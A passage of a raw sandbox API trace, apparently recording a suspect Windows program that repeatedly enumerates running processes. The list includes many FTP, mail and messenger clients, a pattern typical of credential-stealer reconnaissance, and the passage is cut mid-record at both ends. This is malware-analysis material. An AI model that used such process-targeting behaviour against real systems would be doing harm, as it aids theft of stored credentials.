th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0269.929] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0269.931] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0269.933] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0269.934] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0269.936] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0269.938] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0269.939] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0269.992] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0269.993] CloseHandle (hObject=0x344) returned 1 [0269.994] Sleep (dwMilliseconds=0x64) [0270.035] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0270.047] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0270.048] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0270.050] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0270.052] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.054] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0270.055] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0270.057] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0270.058] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0270.060] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0270.061] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.063] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.064] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0270.115] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.116] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.118] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.119] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.121] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.123] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.125] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.127] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0270.129] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0270.131] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0270.133] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.134] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0270.135] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0270.137] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0270.138] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0270.140] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0270.142] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0270.144] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0270.146] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0270.148] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0270.149] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0270.151] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0270.153] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0270.154] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0270.156] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0270.158] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0270.207] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0270.210] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0270.211] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0270.213] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0270.215] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0270.217] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0270.219] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0270.221] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0270.223] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0270.224] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0270.226] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0270.228] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0270.230] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0270.232] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0270.233] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0270.235] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0270.236] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0270.238] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0270.239] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0270.240] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0270.242] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0270.244] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0270.245] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0270.247] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0270.248] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0270.250] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0270.252] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0270.301] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0270.303] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0270.304] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0270.306] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0270.308] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0270.309] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0270.311] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0270.313] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0270.314] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0270.316] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0270.317] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, 